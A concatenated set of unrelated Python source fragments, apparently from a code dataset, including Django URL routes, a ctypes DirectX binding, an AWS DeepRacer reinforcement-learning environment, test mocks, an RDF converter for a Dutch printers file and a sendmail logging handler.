# with tempfile.TemporaryDirectory() as td:
# td = Path(td)
# data = [{'foo': 'bar', }, 1, True]
# json.dump(data, open(td / "data.json", "w"))
# assert mapping["json"](open(td / "data.json")) == data
# # def test_load_numpy():
# # with tempfile.TemporaryDirectory() as td:
# # td = Path(td)
# # data = np.arange(10)
# # np.save(td / "array.npy", data)
# # assert np.allclose(mapping["npy"](open(td / "array.npy")), data)
# # def
# # resources = [
# # {
# # "name": "first-resource",
# # "path": "some-array.npy",
# # "matrix": "technosphere",
# # "data": [
# # tuple(list(range(11)) + [False, False]),
# # tuple(list(range(12, 23)) + [True, True]),
# # ],
# # }
# # ]
# # with tempfile.TemporaryDirectory() as td:
# # fp = create_package(
# # name="test-package", resources=resources, path=td, compress=False
# # )
# # # Test data in fp
|
10,019 | f680fdf09a86f094018832699d7cf2a654d1d47d | from django.urls import path
from . import views
urlpatterns = [
path('user_list', views.user_list, name = 'user_list'),
path('log_in', views.log_in, name = 'log_in'),
path('log_out', views.log_out, name = 'log_out'),
path('sign_up', views.sign_up, name = 'sign_up'),
path('WebWorker', views.WebWorker, name = 'WebWorker'),
path('WebWorker2', views.WebWorker2, name = 'WebWorker2'),
] |
10,020 | aa233a0442cc287c402e05c6b3522656ecd729a7 | #!/usr/local/bin/python
# -*- coding: utf-8 -*-
'''pyDx9adl
'''
import ctypes
from ctypes import cast, POINTER, c_void_p, byref, pointer, CFUNCTYPE
from ctypes import c_double, c_float, c_long, c_int, c_char_p, c_wchar_p
dllnames = ['d3d9', 'd3dx9', 'D3DxConsole', 'D3DxFreeType2',
'D3DxTextureBmp', 'dx9adl', 'D3DxGlyph']
dllm = {}
for i, n in enumerate(dllnames):
dllm[n] = (ctypes.windll if i < 2 else ctypes.cdll).LoadLibrary('%s.dll' % n)
Direct3DCreate9 = dllm['d3d9'].Direct3DCreate9
D3DXVec3Project = dllm['d3dx9'].D3DXVec3Project
D3DXCreateFontIndirectA = dllm['d3dx9'].D3DXCreateFontIndirectA
D3DXCreateFontA = dllm['d3dx9'].D3DXCreateFontA
D3DXCreateSprite = dllm['d3dx9'].D3DXCreateSprite
D3DXCreateTextureFromFileA = dllm['d3dx9'].D3DXCreateTextureFromFileA
D3DXMatrixRotationX = dllm['d3dx9'].D3DXMatrixRotationX
D3DXMatrixRotationY = dllm['d3dx9'].D3DXMatrixRotationY
D3DXMatrixRotationZ = dllm['d3dx9'].D3DXMatrixRotationZ
D3DXMatrixLookAtLH = dllm['d3dx9'].D3DXMatrixLookAtLH
D3DXMatrixPerspectiveFovLH = dllm['d3dx9'].D3DXMatrixPerspectiveFovLH
debugalloc = dllm['D3DxConsole'].debugalloc
debugout = dllm['D3DxConsole'].debugout
debugfree = dllm['D3DxConsole'].debugfree
D3DXFT2_GlyphAlloc = dllm['D3DxFreeType2'].D3DXFT2_GlyphAlloc
D3DXFT2_GlyphFree = dllm['D3DxFreeType2'].D3DXFT2_GlyphFree
D3DXFT2_GlyphBmp = dllm['D3DxFreeType2'].D3DXFT2_GlyphBmp
D3DXFT2_GlyphShowBmp = dllm['D3DxFreeType2'].D3DXFT2_GlyphShowBmp
D3DXFT2_GlyphOutline = dllm['D3DxFreeType2'].D3DXFT2_GlyphOutline
D3DXFT2_Status = dllm['D3DxFreeType2'].D3DXFT2_Status
D3DXTXB_CreateTexture = dllm['D3DxTextureBmp'].D3DXTXB_CreateTexture
D3DXTXB_LockRect = dllm['D3DxTextureBmp'].D3DXTXB_LockRect
D3DXTXB_UnlockRect = dllm['D3DxTextureBmp'].D3DXTXB_UnlockRect
D3DXTXB_RenderFontGlyph = dllm['D3DxTextureBmp'].D3DXTXB_RenderFontGlyph
D3DXTXB_CopyTexture = dllm['D3DxTextureBmp'].D3DXTXB_CopyTexture
D3DXTXB_RewriteTexture = dllm['D3DxTextureBmp'].D3DXTXB_RewriteTexture
ReleaseNil = dllm['dx9adl'].ReleaseNil
PtrPtrS = dllm['dx9adl'].PtrPtrS
PtrSO = dllm['dx9adl'].PtrSO
PtrPtrU = dllm['dx9adl'].PtrPtrU
PtrUO = dllm['dx9adl'].PtrUO
SetupMatrices = dllm['dx9adl'].SetupMatrices
DrawAxis = dllm['dx9adl'].DrawAxis
DX9_CreateVertexBuffer = dllm['dx9adl'].DX9_CreateVertexBuffer
DX9_Lock = dllm['dx9adl'].DX9_Lock
DX9_Unlock = dllm['dx9adl'].DX9_Unlock
DX9_StoreVertices = dllm['dx9adl'].DX9_StoreVertices
DX9_LoadVertices = dllm['dx9adl'].DX9_LoadVertices
DX9_SetTexture = dllm['dx9adl'].DX9_SetTexture
DX9_RenderVertices = dllm['dx9adl'].DX9_RenderVertices
BltString = dllm['dx9adl'].BltString
BltTexture = dllm['dx9adl'].BltTexture
InitD3DApp = dllm['dx9adl'].InitD3DApp
MsgLoop = dllm['dx9adl'].MsgLoop
DX9_Mode = dllm['dx9adl'].DX9_Mode
DX9_Status = dllm['dx9adl'].DX9_Status
D3DXGLP_InitFont = dllm['D3DxGlyph'].D3DXGLP_InitFont
D3DXGLP_CleanupFont = dllm['D3DxGlyph'].D3DXGLP_CleanupFont
D3DXGLP_GlyphContours = dllm['D3DxGlyph'].D3DXGLP_GlyphContours
D3DXGLP_DrawGlyph = dllm['D3DxGlyph'].D3DXGLP_DrawGlyph
class D3DMatrix(ctypes.Structure):
_fields_ = [
('aa', c_float), ('ba', c_float), ('ca', c_float), ('da', c_float),
('ab', c_float), ('bb', c_float), ('cb', c_float), ('db', c_float),
('ac', c_float), ('bc', c_float), ('cc', c_float), ('dc', c_float),
('ad', c_float), ('bd', c_float), ('cd', c_float), ('dd', c_float)]
class Q_D3DMatrix(ctypes.Structure):
_fields_ = [ # 4 x pointer to D3DMatrix
('tmp', c_void_p),
('world', c_void_p), ('view', c_void_p), ('proj', c_void_p)]
class D3DVector(ctypes.Structure):
_fields_ = [('x', c_float), ('y', c_float), ('z', c_float)]
class CustomCor(ctypes.Structure):
_fields_ = [('v', D3DVector), ('color', c_int)]
class CustomVertex(ctypes.Structure):
_fields_ = [('v', D3DVector), ('color', c_int),
('tu', c_float), ('tv', c_float)]
class D9F_Vecs(ctypes.Structure):
_fields_ = [
('eyePt', D3DVector), ('reserved0', c_int),
('lookatPt', D3DVector), ('reserved1', c_int),
('upVec', D3DVector), ('reserved2', c_int),
('fovY', c_float), ('aspect', c_float), ('zn', c_float), ('zf', c_float)]
class D9Foundation(ctypes.Structure):
_fields_ = [('pD3Dpp', c_void_p), ('pD3D', c_void_p), ('pDev', c_void_p),
('pMenv', c_void_p), # pointer to Q_D3DMatrix
('pVecs', c_void_p), # pointer to D9F_Vecs
('imstring', c_char_p), ('imw', c_int), ('imh', c_int)]
class RenderD3DItemsState(ctypes.Structure):
_fields_ = [('parent', c_void_p), ('d9fnd', c_void_p),
('sysChain', c_void_p), ('usrChain', c_void_p),
('smx', c_int), ('umx', c_int),
('width', c_int), ('height', c_int), ('bgc', c_int), ('fgc', c_int),
('mode', c_int), ('stat', c_int), ('hWnd', c_long),
('fps', c_int), ('prevTime', c_int), ('nowTime', c_int)]
# CBFunc = CFUNCTYPE(c_int, c_void_p)
CBFunc = CFUNCTYPE(c_int, POINTER(RenderD3DItemsState))
|
10,021 | 6930f4e461a26e544ab4477752d679ce9832560a | from __future__ import print_function
import bisect
import boto3
import json
import logging
import math
import os
import time
import gym
import numpy as np
from gym import spaces
from PIL import Image
logger = logging.getLogger(__name__)
# Type of worker
SIMULATION_WORKER = "SIMULATION_WORKER"
SAGEMAKER_TRAINING_WORKER = "SAGEMAKER_TRAINING_WORKER"
node_type = os.environ.get("NODE_TYPE", SIMULATION_WORKER)
if node_type == SIMULATION_WORKER:
import rospy
from ackermann_msgs.msg import AckermannDriveStamped
from gazebo_msgs.msg import ModelState
from gazebo_msgs.srv import GetLinkState, GetModelState, SetModelState
from scipy.spatial.transform import Rotation
from sensor_msgs.msg import Image as sensor_image
from shapely.geometry import Point, Polygon
from shapely.geometry.polygon import LinearRing, LineString
# Type of job
TRAINING_JOB = 'TRAINING'
EVALUATION_JOB = 'EVALUATION'
# Sleep intervals
SLEEP_AFTER_RESET_TIME_IN_SECOND = 0.5
SLEEP_BETWEEN_ACTION_AND_REWARD_CALCULATION_TIME_IN_SECOND = 0.1
SLEEP_WAITING_FOR_IMAGE_TIME_IN_SECOND = 0.01
# Dimensions of the input training image
TRAINING_IMAGE_SIZE = (160, 120)
# Local offset of the front of the car
RELATIVE_POSITION_OF_FRONT_OF_CAR = [0.14, 0, 0]
# Normalized track distance to move with each reset
ROUND_ROBIN_ADVANCE_DIST = 0.05
# Reward to give the car when it "crashes"
CRASHED = 1e-8
### Gym Env ###
class DeepRacerRacetrackEnv(gym.Env):
def __init__(self):
# Create the observation space
img_width = TRAINING_IMAGE_SIZE[0]
img_height = TRAINING_IMAGE_SIZE[1]
self.observation_space = spaces.Box(low=0, high=255, shape=(img_height, img_width, 3), dtype=np.uint8)
# Create the action space
self.action_space = spaces.Box(low=np.array([-1, 0]), high=np.array([+1, +1]), dtype=np.float32)
if node_type == SIMULATION_WORKER:
# ROS initialization
rospy.init_node('rl_coach', anonymous=True)
rospy.Subscriber('/camera/zed/rgb/image_rect_color', sensor_image, self.callback_image)
self.ack_publisher = rospy.Publisher('/vesc/low_level/ackermann_cmd_mux/output',
AckermannDriveStamped, queue_size=100)
self.set_model_state = rospy.ServiceProxy('/gazebo/set_model_state', SetModelState)
self.get_model_state = rospy.ServiceProxy('/gazebo/get_model_state', GetModelState)
self.get_link_state = rospy.ServiceProxy('/gazebo/get_link_state', GetLinkState)
# Read in parameters
self.world_name = rospy.get_param('WORLD_NAME')
self.job_type = rospy.get_param('JOB_TYPE')
self.aws_region = rospy.get_param('AWS_REGION')
self.metrics_s3_bucket = rospy.get_param('METRICS_S3_BUCKET')
self.metrics_s3_object_key = rospy.get_param('METRICS_S3_OBJECT_KEY')
self.metrics = []
self.simulation_job_arn = 'arn:aws:robomaker:' + self.aws_region + ':' + \
rospy.get_param('ROBOMAKER_SIMULATION_JOB_ACCOUNT_ID') + \
':simulation-job/' + rospy.get_param('AWS_ROBOMAKER_SIMULATION_JOB_ID')
if self.job_type == TRAINING_JOB:
from custom_files.customer_reward_function import reward_function
self.reward_function = reward_function
self.metric_name = rospy.get_param('METRIC_NAME')
self.metric_namespace = rospy.get_param('METRIC_NAMESPACE')
self.training_job_arn = rospy.get_param('TRAINING_JOB_ARN')
self.target_number_of_episodes = rospy.get_param('NUMBER_OF_EPISODES')
self.target_reward_score = rospy.get_param('TARGET_REWARD_SCORE')
else:
from markov.defaults import reward_function
self.reward_function = reward_function
self.number_of_trials = 0
self.target_number_of_trials = rospy.get_param('NUMBER_OF_TRIALS')
# Read in the waypoints
BUNDLE_CURRENT_PREFIX = os.environ.get("BUNDLE_CURRENT_PREFIX", None)
if not BUNDLE_CURRENT_PREFIX:
raise ValueError("Cannot get BUNDLE_CURRENT_PREFIX")
route_file_name = os.path.join(BUNDLE_CURRENT_PREFIX,
'install', 'deepracer_simulation', 'share',
'deepracer_simulation', 'routes', '{}.npy'.format(self.world_name))
waypoints = np.load(route_file_name)
self.is_loop = np.all(waypoints[0,:] == waypoints[-1,:])
if self.is_loop:
self.center_line = LinearRing(waypoints[:,0:2])
self.inner_border = LinearRing(waypoints[:,2:4])
self.outer_border = LinearRing(waypoints[:,4:6])
self.road_poly = Polygon(self.outer_border, [self.inner_border])
else:
self.center_line = LineString(waypoints[:,0:2])
self.inner_border = LineString(waypoints[:,2:4])
self.outer_border = LineString(waypoints[:,4:6])
self.road_poly = Polygon(np.vstack((self.outer_border, np.flipud(self.inner_border))))
self.center_dists = [self.center_line.project(Point(p), normalized=True) for p in self.center_line.coords[:-1]] + [1.0]
self.track_length = self.center_line.length
# Initialize state data
self.episodes = 0
self.start_dist = 0.0
self.round_robin = (self.job_type == TRAINING_JOB)
self.is_simulation_done = False
self.image = None
self.steering_angle = 0
self.speed = 0
self.action_taken = 0
self.prev_progress = 0
self.prev_point = Point(0, 0)
self.prev_point_2 = Point(0, 0)
self.next_state = None
self.reward = None
self.reward_in_episode = 0
self.done = False
self.steps = 0
self.simulation_start_time = 0
self.reverse_dir = False
def reset(self):
if node_type == SAGEMAKER_TRAINING_WORKER:
return self.observation_space.sample()
# Simulation is done - so RoboMaker will start to shut down the app.
# Till RoboMaker shuts down the app, do nothing more else metrics may show unexpected data.
if (node_type == SIMULATION_WORKER) and self.is_simulation_done:
while True:
time.sleep(1)
self.image = None
self.steering_angle = 0
self.speed = 0
self.action_taken = 0
self.prev_progress = 0
self.prev_point = Point(0, 0)
self.prev_point_2 = Point(0, 0)
self.next_state = None
self.reward = None
self.reward_in_episode = 0
self.done = False
# Reset the car and record the simulation start time
self.send_action(0, 0)
self.racecar_reset()
time.sleep(SLEEP_AFTER_RESET_TIME_IN_SECOND)
self.steps = 0
self.simulation_start_time = time.time()
# Compute the initial state
self.infer_reward_state(0, 0)
return self.next_state
def racecar_reset(self):
rospy.wait_for_service('/gazebo/set_model_state')
# Compute the starting position and heading
next_point_index = bisect.bisect(self.center_dists, self.start_dist)
start_point = self.center_line.interpolate(self.start_dist, normalized=True)
start_yaw = math.atan2(
self.center_line.coords[next_point_index][1] - start_point.y,
self.center_line.coords[next_point_index][0] - start_point.x)
start_quaternion = Rotation.from_euler('zyx', [start_yaw, 0, 0]).as_quat()
# Construct the model state and send to Gazebo
modelState = ModelState()
modelState.model_name = 'racecar'
modelState.pose.position.x = start_point.x
modelState.pose.position.y = start_point.y
modelState.pose.position.z = 0
modelState.pose.orientation.x = start_quaternion[0]
modelState.pose.orientation.y = start_quaternion[1]
modelState.pose.orientation.z = start_quaternion[2]
modelState.pose.orientation.w = start_quaternion[3]
modelState.twist.linear.x = 0
modelState.twist.linear.y = 0
modelState.twist.linear.z = 0
modelState.twist.angular.x = 0
modelState.twist.angular.y = 0
modelState.twist.angular.z = 0
self.set_model_state(modelState)
def step(self, action):
if node_type == SAGEMAKER_TRAINING_WORKER:
return self.observation_space.sample(), 0, False, {}
# Initialize next state, reward, done flag
self.next_state = None
self.reward = None
self.done = False
# Send this action to Gazebo and increment the step count
self.steering_angle = float(action[0])
self.speed = float(action[1])
self.send_action(self.steering_angle, self.speed)
time.sleep(SLEEP_BETWEEN_ACTION_AND_REWARD_CALCULATION_TIME_IN_SECOND)
self.steps += 1
# Compute the next state and reward
self.infer_reward_state(self.steering_angle, self.speed)
return self.next_state, self.reward, self.done, {}
def callback_image(self, data):
self.image = data
def send_action(self, steering_angle, speed):
ack_msg = AckermannDriveStamped()
ack_msg.header.stamp = rospy.Time.now()
ack_msg.drive.steering_angle = steering_angle
ack_msg.drive.speed = speed
self.ack_publisher.publish(ack_msg)
def infer_reward_state(self, steering_angle, speed):
rospy.wait_for_service('/gazebo/get_model_state')
rospy.wait_for_service('/gazebo/get_link_state')
# Wait till we have a image from the camera
# btown TODO: Incorporate feedback from callejae@ here (CR-6434645 rev1)
while not self.image:
time.sleep(SLEEP_WAITING_FOR_IMAGE_TIME_IN_SECOND)
# Read model state from Gazebo
model_state = self.get_model_state('racecar', '')
model_orientation = Rotation.from_quat([
model_state.pose.orientation.x,
model_state.pose.orientation.y,
model_state.pose.orientation.z,
model_state.pose.orientation.w])
model_location = np.array([
model_state.pose.position.x,
model_state.pose.position.y,
model_state.pose.position.z]) + \
model_orientation.apply(RELATIVE_POSITION_OF_FRONT_OF_CAR)
model_point = Point(model_location[0], model_location[1])
model_heading = model_orientation.as_euler('zyx')[0]
# Read the wheel locations from Gazebo
left_rear_wheel_state = self.get_link_state('racecar::left_rear_wheel', '')
left_front_wheel_state = self.get_link_state('racecar::left_front_wheel', '')
right_rear_wheel_state = self.get_link_state('racecar::right_rear_wheel', '')
right_front_wheel_state = self.get_link_state('racecar::right_front_wheel', '')
wheel_points = [
Point(left_rear_wheel_state.link_state.pose.position.x,
left_rear_wheel_state.link_state.pose.position.y),
Point(left_front_wheel_state.link_state.pose.position.x,
left_front_wheel_state.link_state.pose.position.y),
Point(right_rear_wheel_state.link_state.pose.position.x,
right_rear_wheel_state.link_state.pose.position.y),
Point(right_front_wheel_state.link_state.pose.position.x,
right_front_wheel_state.link_state.pose.position.y)
]
# Project the current location onto the center line and find nearest points
current_dist = self.center_line.project(model_point, normalized=True)
next_waypoint_index = max(0, min(bisect.bisect(self.center_dists, current_dist), len(self.center_dists) - 1))
prev_waypoint_index = next_waypoint_index - 1
distance_from_next = model_point.distance(Point(self.center_line.coords[next_waypoint_index]))
distance_from_prev = model_point.distance(Point(self.center_line.coords[prev_waypoint_index]))
closest_waypoint_index = (prev_waypoint_index, next_waypoint_index)[distance_from_next < distance_from_prev]
# Compute distance from center and road width
nearest_point_center = self.center_line.interpolate(current_dist, normalized=True)
nearest_point_inner = self.inner_border.interpolate(self.inner_border.project(nearest_point_center))
nearest_point_outer = self.outer_border.interpolate(self.outer_border.project(nearest_point_center))
distance_from_center = nearest_point_center.distance(model_point)
distance_from_inner = nearest_point_inner.distance(model_point)
distance_from_outer = nearest_point_outer.distance(model_point)
track_width = nearest_point_inner.distance(nearest_point_outer)
is_left_of_center = (distance_from_outer < distance_from_inner) if self.reverse_dir \
else (distance_from_inner < distance_from_outer)
# Convert current progress to be [0,100] starting at the initial waypoint
current_progress = current_dist - self.start_dist
if current_progress < 0.0: current_progress = current_progress + 1.0
current_progress = 100 * current_progress
if current_progress < self.prev_progress:
# Either: (1) we wrapped around and have finished the track,
delta1 = current_progress + 100 - self.prev_progress
# or (2) for some reason the car went backwards (this should be rare)
delta2 = self.prev_progress - current_progress
current_progress = (self.prev_progress, 100)[delta1 < delta2]
# Car is off track if all wheels are outside the borders
wheel_on_track = [self.road_poly.contains(p) for p in wheel_points]
all_wheels_on_track = all(wheel_on_track)
any_wheels_on_track = any(wheel_on_track)
# Compute the reward
if any_wheels_on_track:
done = False
params = {
'all_wheels_on_track': all_wheels_on_track,
'x': model_point.x,
'y': model_point.y,
'heading': model_heading * 180.0 / math.pi,
'distance_from_center': distance_from_center,
'progress': current_progress,
'steps': self.steps,
'speed': speed,
'steering_angle': steering_angle * 180.0 / math.pi,
'track_width': track_width,
'waypoints': list(self.center_line.coords),
'closest_waypoints': [prev_waypoint_index, next_waypoint_index],
'is_left_of_center': is_left_of_center,
'is_reversed': self.reverse_dir
}
reward = self.reward_function(params)
else:
done = True
reward = CRASHED
# Reset if the car position hasn't changed in the last 2 steps
if min(model_point.distance(self.prev_point), model_point.distance(self.prev_point_2)) <= 0.0001:
done = True
reward = CRASHED # stuck
# Simulation jobs are done when progress reaches 100
if current_progress >= 100:
done = True
# Keep data from the previous step around
self.prev_point_2 = self.prev_point
self.prev_point = model_point
self.prev_progress = current_progress
# Read the image and resize to get the state
image = Image.frombytes('RGB', (self.image.width, self.image.height), self.image.data, 'raw', 'RGB', 0, 1)
image = image.resize(TRAINING_IMAGE_SIZE, resample=2)
state = np.array(image)
# Set the next state, reward, and done flag
self.next_state = state
self.reward = reward
self.reward_in_episode += reward
self.done = done
# Trace logs to help us debug and visualize the training runs
# btown TODO: This should be written to S3, not to CWL.
stdout_ = 'SIM_TRACE_LOG:%d,%d,%.4f,%.4f,%.4f,%.2f,%.2f,%d,%.4f,%s,%s,%.4f,%d,%.2f,%s\n' % (
self.episodes, self.steps, model_location[0], model_location[1], model_heading,
self.steering_angle,
self.speed,
self.action_taken,
self.reward,
self.done,
all_wheels_on_track,
current_progress,
closest_waypoint_index,
self.track_length,
time.time())
print(stdout_)
# Terminate this episode when ready
if self.done and node_type == SIMULATION_WORKER:
self.finish_episode(current_progress)
def finish_episode(self, progress):
# Stop the car from moving
self.send_action(0, 0)
# Increment episode count, update start dist for round robin
self.episodes += 1
if self.round_robin:
self.start_dist = (self.start_dist + ROUND_ROBIN_ADVANCE_DIST) % 1.0
# Update metrics based on job type
if self.job_type == TRAINING_JOB:
self.send_reward_to_cloudwatch(self.reward_in_episode)
self.update_training_metrics()
self.write_metrics_to_s3()
if self.is_training_done():
self.cancel_simulation_job()
elif self.job_type == EVALUATION_JOB:
self.number_of_trials += 1
self.update_eval_metrics(progress)
self.write_metrics_to_s3()
if self.is_evaluation_done():
self.cancel_simulation_job()
def update_eval_metrics(self, progress):
eval_metric = {}
eval_metric['completion_percentage'] = int(progress)
eval_metric['metric_time'] = int(round(time.time() * 1000))
eval_metric['start_time'] = int(round(self.simulation_start_time * 1000))
eval_metric['elapsed_time_in_milliseconds'] = int(round((time.time() - self.simulation_start_time) * 1000))
eval_metric['trial'] = int(self.number_of_trials)
self.metrics.append(eval_metric)
def update_training_metrics(self):
training_metric = {}
training_metric['reward_score'] = int(round(self.reward_in_episode))
training_metric['metric_time'] = int(round(time.time() * 1000))
training_metric['start_time'] = int(round(self.simulation_start_time * 1000))
training_metric['elapsed_time_in_milliseconds'] = int(round((time.time() - self.simulation_start_time) * 1000))
training_metric['episode'] = int(self.episodes)
self.metrics.append(training_metric)
def write_metrics_to_s3(self):
session = boto3.session.Session()
s3_url = os.environ.get('S3_ENDPOINT_URL')
s3_client = session.client('s3', region_name=self.aws_region, endpoint_url=s3_url)
metrics_body = json.dumps({'metrics': self.metrics})
s3_client.put_object(
Bucket=self.metrics_s3_bucket,
Key=self.metrics_s3_object_key,
Body=bytes(metrics_body, encoding='utf-8')
)
def is_evaluation_done(self):
if ((self.target_number_of_trials > 0) and (self.target_number_of_trials == self.number_of_trials)):
self.is_simulation_done = True
return self.is_simulation_done
def is_training_done(self):
if ((self.target_number_of_episodes > 0) and (self.target_number_of_episodes == self.episodes)) or \
((self.is_number(self.target_reward_score)) and (self.target_reward_score <= self.reward_in_episode)):
self.is_simulation_done = True
return self.is_simulation_done
def is_number(self, value_to_check):
try:
float(value_to_check)
return True
except ValueError:
return False
def cancel_simulation_job(self):
self.send_action(0, 0)
session = boto3.session.Session()
robomaker_client = session.client('robomaker', region_name=self.aws_region)
robomaker_client.cancel_simulation_job(
job=self.simulation_job_arn
)
def send_reward_to_cloudwatch(self, reward):
isLocal = os.environ.get("LOCAL")
if isLocal == None:
session = boto3.session.Session()
cloudwatch_client = session.client('cloudwatch', region_name=self.aws_region)
cloudwatch_client.put_metric_data(
MetricData=[
{
'MetricName': self.metric_name,
'Dimensions': [
{
'Name': 'TRAINING_JOB_ARN',
'Value': self.training_job_arn
},
],
'Unit': 'None',
'Value': reward
},
],
Namespace=self.metric_namespace
)
else:
print("{}: {}".format(self.metric_name, reward))
class DeepRacerRacetrackCustomActionSpaceEnv(DeepRacerRacetrackEnv):
def __init__(self):
DeepRacerRacetrackEnv.__init__(self)
try:
# Try loading the custom model metadata (may or may not be present)
with open('custom_files/model_metadata.json', 'r') as f:
model_metadata = json.load(f)
self.json_actions = model_metadata['action_space']
logger.info("Loaded action space from file: {}".format(self.json_actions))
except:
# Failed to load, fall back on the default action space
from markov.defaults import model_metadata
self.json_actions = model_metadata['action_space']
logger.info("Loaded default action space: {}".format(self.json_actions))
self.action_space = spaces.Discrete(len(self.json_actions))
def step(self, action):
self.steering_angle = float(self.json_actions[action]['steering_angle']) * math.pi / 180.0
self.speed = float(self.json_actions[action]['speed'])
self.action_taken = action
return super().step([self.steering_angle, self.speed])
|
10,022 | 7acb3965422ad97da644c7daa9b791f025aa5062 | #-*- coding: utf-8 -*-
from pyramid import testing
class MockSession(object):
def merge(self, record):
pass
def flush(self):
pass
def add(self, record):
pass
class MockMixin(object):
def to_appstruct(self):
return dict([('a','a'),('b','b')])
def log(self):
return 'test'
class MockMultiDict(list):
"""
Used to
"""
def getall(self, key, d=None):
return self.get(key, d)
def get(self, key, d=None):
for p in self:
if p[0] == key:
if d is None:
return p[1]
return None
def items(self):
return self
def keys(self):
return [p[0] for p in self]
def values(self):
return [p[1] for p in self]
class AuthDummyRequest(testing.DummyRequest):
authenticated_userid = None
unauthenticated_userid = None
def __init__(self, *args, **kw):
if 'userid' in kw:
self.set_userid(kw['userid'])
testing.DummyRequest.__init__(self, *args, **kw)
def set_userid(self, id):
self.authenticated_userid = id
self.unauthenticated_userid = id
|
10,023 | b29b4f5c6f8af18dc2dad3bdea6e1e8b2ab109f8 | #!/usr/bin/env python
"""Drukkers2RDF.py: An RDF converter for the NL printers file."""
from rdflib import ConjunctiveGraph, Namespace, Literal, RDF, RDFS, BNode, URIRef
class Drukkers2RDF:
"""An RDF converter for the NL printers file."""
namespaces = {
'dcterms':Namespace('http://purl.org/dc/terms/'),
'skos':Namespace('http://www.w3.org/2004/02/skos/core#'),
'd2s':Namespace('http://www.data2semantics.org/core/'),
'qb':Namespace('http://purl.org/linked-data/cube#'),
'owl':Namespace('http://www.w3.org/2002/07/owl#')
}
printerID = -1
def __init__(self, printersFile):
"""Constructor"""
self.printersFile = open(printersFile, 'r')
self.graph = ConjunctiveGraph()
self.defaultNamespacePrefix = 'http://drukkers.data2semantics.org/resource/'
scopeNamespace = self.defaultNamespacePrefix
self.namespaces['scope'] = Namespace(scopeNamespace)
self.graph.namespace_manager.bind('', self.namespaces['scope'])
for namespace in self.namespaces:
self.graph.namespace_manager.bind(namespace, self.namespaces[namespace])
def parse(self):
"""Parse the printers file"""
print "Parsing printers file..."
for line in self.printersFile.readlines():
if line.startswith("SET"):
#Start new register
self.printerID += 1
self.graph.add((
self.namespaces['scope'][str(self.printerID)],
RDF.type,
self.namespaces['d2s']['Printer']
))
#Parse SET, TTL, PPN and PAG
firstLine = line.split(' ')
#print firstLine
printerSET = firstLine[1] + ' ' + firstLine[2]
printerTTL = firstLine[4]
printerPPN = line[line.find('PPN'):line.find('PAG')].split(' ')[1].strip()
printerPAG = 1
self.graph.add((
self.namespaces['scope'][str(self.printerID)],
self.namespaces['d2s']['printerSET'],
Literal(printerSET)
))
self.graph.add((
self.namespaces['scope'][str(self.printerID)],
self.namespaces['d2s']['printerTTL'],
Literal(printerTTL)
))
self.graph.add((
self.namespaces['scope'][str(self.printerID)],
self.namespaces['d2s']['printerPPN'],
Literal(printerPPN)
))
self.graph.add((
self.namespaces['scope'][str(self.printerID)],
self.namespaces['d2s']['printerPAG'],
Literal(printerPAG)
))
if line.startswith("Ingevoerd"):
#Parse Ingevoerd, Gewijzigd and Status
secondLine = line.split(' ')
#print secondLine
printerIngevoerd = secondLine[1]
printerGewijzigd = secondLine[3] + ' ' + secondLine[4]
printerStatus = secondLine[6].strip('\r\n')
self.graph.add((
self.namespaces['scope'][str(self.printerID)],
self.namespaces['d2s']['printerIngevoerd'],
Literal(printerIngevoerd)
))
self.graph.add((
self.namespaces['scope'][str(self.printerID)],
self.namespaces['d2s']['printerGewijzigd'],
Literal(printerGewijzigd)
))
self.graph.add((
self.namespaces['scope'][str(self.printerID)],
self.namespaces['d2s']['printerStatus'],
Literal(printerStatus)
))
if line[0].isdigit():
#Parse numerical fields
self.graph.add((
self.namespaces['scope'][str(self.printerID)],
self.namespaces['d2s']['printers' + line[:3]],
Literal(line[4:].decode('latin1').strip(' \r\n'))
))
print "Parse done."
def serialize(self, outputDataFile):
"""Write turtle RDF file to disk"""
print "Serializing graph to {} ...".format(outputDataFile)
fileWrite = open(outputDataFile, "w")
turtle = self.graph.serialize(None, format='n3')
fileWrite.writelines(turtle)
fileWrite.close()
print "Serialization done."
if __name__ == "__main__":
drukkers2RDFInstance = Drukkers2RDF("../data/drukkers.txt")
drukkers2RDFInstance.parse()
drukkers2RDFInstance.serialize("../data/drukkers.ttl")
__author__ = "Albert Meronyo-Penyuela"
__copyright__ = "Copyright 2012, VU University Amsterdam"
__credits__ = ["Albert Meronyo-Penyuela"]
__license__ = "LGPL v3.0"
__version__ = "0.1"
__maintainer__ = "Albert Meronyo-Penyuela"
__email__ = "albert.merono@vu.nl"
__status__ = "Prototype"
|
10,024 | bb2607602c218157bcda4694975bbeef4fe48c64 | # -*- coding: utf-8 -*-
import logging
import subprocess
import socket
import os.path
class SendmailHandler(logging.Handler):
sendmail = ['/usr/sbin/sendmail', '-i', '-t' ]
def __init__(self, recipient, name='nobody', level=logging.NOTSET):
logging.Handler.__init__(self, level=level)
self.hostname = socket.gethostname()
self.name = name
self.recipient = recipient
def subject(self, record):
if record.exc_info:
exc_type, exc_instance, exc_tb = record.exc_info
while exc_tb.tb_next:
exc_tb = exc_tb.tb_next
frame = exc_tb.tb_frame
return '{hostname} {levelname}: {exc_type} {exc_instance!s} at {func} ({file}:{line})'.format(
hostname=self.hostname,
levelname=record.levelname,
exc_type=exc_type.__name__,
exc_instance=exc_instance,
func=frame.f_code.co_name,
file=os.path.basename(frame.f_code.co_filename),
line=exc_tb.tb_lineno,
)
else:
return '{hostname}: {levelname} {message}'.format(
hostname=self.hostname,
levelname=record.levelname,
message=(record.getMessage().split('\n', 1)[0]),
)
def emit(self, record):
message = '''Subject: {subject}
From: {sender}@{hostname}
To: {recipient}
{message}
'''.format(
subject=self.subject(record),
sender=self.name,
hostname=self.hostname,
recipient=self.recipient,
message=self.format(record),
)
sendmail = subprocess.Popen(self.sendmail, stdin=subprocess.PIPE)
sendmail.communicate(message)
|
10,025 | f9d0b6911e49d0974cb06f5f307d51d522850849 | from gym_foo.model.action.action import Action
class SpeedUp(Action):
def __init__(self, hive_id, march_id):
super().__init__(hive_id)
self._march_id = march_id
def get_march_id(self):
return self._march_id
def do(self, march):
march.speedup()
def __repr__(self):
return str({
'hive_id': self._hive_id,
'march_id': self._march_id
}) |
10,026 | 511087c11652ddcaffbdc18f5c4cdd806a0a7533 | import re
class Algorithms():
def UnNTerminals(self, inputData):
print "Unproductive not terminals"
t_out = []
t_in = []
unproductive = []
productive = []
'''split by rows'''
inputData = inputData.split("\n")
t_out = self._SearchAfter(inputData)
t_in = self._SearchBefore(inputData)
productive = self._Productive(t_out, t_in)
unproductive = self._UnProductive(productive, t_in)
return unproductive
